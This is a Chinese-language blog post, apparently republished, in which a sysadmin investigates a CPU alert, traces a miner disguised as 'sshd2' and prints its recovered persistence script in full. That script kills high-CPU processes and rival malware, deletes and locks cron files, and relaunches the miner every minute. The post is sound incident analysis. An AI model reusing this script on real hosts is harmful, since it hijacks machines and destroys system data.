一個挖礦腳本


遇到一台機器偶爾cpu使用率達到80%,觸發告警。登錄查看后一個sshd2程序導致cpu負載高

仔細查看就知道和sshd是兩個完全不同的進程,取名sshd2應該只是為了迷惑用戶

ps -ef查看到父進程是一個/tmp/javax/config.sh, 這個文件在當前系統已經刪除了,所以只能按照pid號通過lsof -p PID查看打開的文件句柄
在/proc/PID/fd里面順利找到執行腳本

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
    p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
    if [ ${p} -eq 0 ];
    then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
    fi
    chattr -i /var/spool/cron/root
    chattr -i /var/spool/cron/crontabs/root
    chattr -i /usr/local/bin/dns
    pkill 6Tx3Wq
    rm -f /tmp/6Tx3Wq
    killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
    killall -9 /tmp/.sysinfo/*
    rm -f /tmp/.sysinfo/*
    chattr +i /tmp/.sysinfo
    rm -f /var/spool/cron/root
    rm -f /var/spool/cron/backup.db
    rm -f /var/spool/cron/dump.rdb
    rm -f /var/spool/cron/jw
    rm -f /var/spool/cron/uo
    rm -f /var/spool/cron/vf
    rm -f /tmp/root
    rm -f /tmp/backup.db
    rm -f /tmp/dump.rdb
    rm -f /tmp/root
    rm -f /var/spool/cron/crontabs/root
    rm -f /var/spool/cron/crontabs/dump.rdb
    killall -9 kworkerds
    chattr -i /etc/cron.d/root
    chattr -i /etc/cron.d/apache
    chattr -i /etc/cron.d/0hourly
    rm -f /etc/cron.d/root
    rm -f /etc/cron.d/apache
    rm -f /etc/cron.d/0hourly
    rm -f /tmp/kworkerds
    rm -f /var/tmp/kworkerds
    rm -f /etc/cron.hourly/oanacroner
    rm -f /etc/cron.hourly/oanacrona
    rm -f /etc/cron.daily/oanacroner
    rm -f /etc/cron.daily/oanacrona
    rm -f /etc/cron.monthly/oanacroner
    rm -f /usr/local/bin/dns
    pkill .systemcero
    pkill vTtHH
    pkill -f /tmp/just4root
    pkill -f /tmp/just4copy
    pkill -f /tmp/dc_name
    pkill x7
    pkill cloudupdate
    pkill diskmanagerd
    pkill curl
    pkill jspserv
    pkill init
    pkill sysupdate
    pkill sysguard
    pkill networkservice
    pkill watchbog
    rm -f /usr/share/watchbog/watchbog
    rm -f /bin/httpsntp
    rm -f /bin/ftpsntp
    rm -f /tmp/.systemcero
    rm -f /tmp/vTtHH
    rm -f /usr/bin/.systemcero
    rm -f /usr/bin/cloudupdate
    rm -f /usr/bin/diskmanagerd
    rm -f /lib/libterminfo.so
    rm -f /tmp/config.json
    rm -f /var/tmp/jspserv
    rm -f /etc/update.sh
    chattr -i /etc/sysupdate
    rm -f /etc/sysupdate
    rm -f /etc/config.json
    echo >/tmp/6Tx3Wq
    echo >/tmp/vTtHH
    chattr +i /tmp/6Tx3Wq
    chattr +i /tmp/vTtHH
    p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
    name=""$p
    if [ -z "$name" ]
    then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
        nohup /tmp/javax/sshd2 &>>/dev/null &  
    else
         :
    fi
    sleep 60 
done

從腳本的刪除動作來看,可能是通過redis的漏洞進來的,腳本似乎還想努力不讓監控發現

修復方案
時間短,修復不是我來操作的。初步並沒有發現隱藏的激活方式,所以按照上面腳本的內容反向處理一下應該就可以了,注意防范redis的漏洞。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM